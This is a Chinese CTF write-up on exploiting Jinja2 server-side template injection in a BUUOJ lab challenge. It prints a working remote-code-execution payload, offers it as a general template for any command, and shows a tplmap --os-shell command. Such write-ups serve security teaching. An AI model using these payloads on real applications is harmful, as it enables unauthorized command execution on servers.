本題考查python jinjia2的ssti,其實tplmap直接梭哈都可以
隨便輸入一個值,查看源代碼就能看到一個Hint:
用下面的流程圖測試一下,看看是什么模板引擎:
用Payload測試之后發現是jinjia2的模板引擎,然后構造jinjia2 ssti的命令執行payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
得到Flag:
這里用的到Payload是一個Jinjia2模板引擎通用的RCE Payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
在<command>添加命令即可。
關於Jinjia2的SSTI可以看看以下文章:
https://blog.csdn.net/qq_40827990/article/details/82940894
https://blog.csdn.net/zz_Caleb/article/details/96480967
除此之外第二種更簡單的解法就是用tplmap工具直接GetShell。
Tplmap是一個python工具,可以通過使用沙箱轉義技術找到代碼注入和服務器端模板注入(SSTI)漏洞。該工具能夠在許多模板引擎中利用SSTI來訪問目標文件或操作系統。一些受支持的模板引擎包括PHP(代碼評估),Ruby(代碼評估),JaveScript(代碼評估),Python(代碼評估),ERB,Jinja2和Tornado。該工具可以執行對這些模板引擎的盲注入,並具有執行遠程命令的能力。
tplmap工具的介紹以及使用可以參考: https://host.zzidc.com/xnkj/1676.html
安裝配置好之后直接執行:
python tplmap.py -u http://078120db-2672-4fc5-b3a9-87e76e4d9773.node3.buuoj.cn/qaq?name= --os-shell
得到Shell,同時也可以看到tplmap測試得出了引擎是jinjia2
然后cat /flag也可以得到Flag: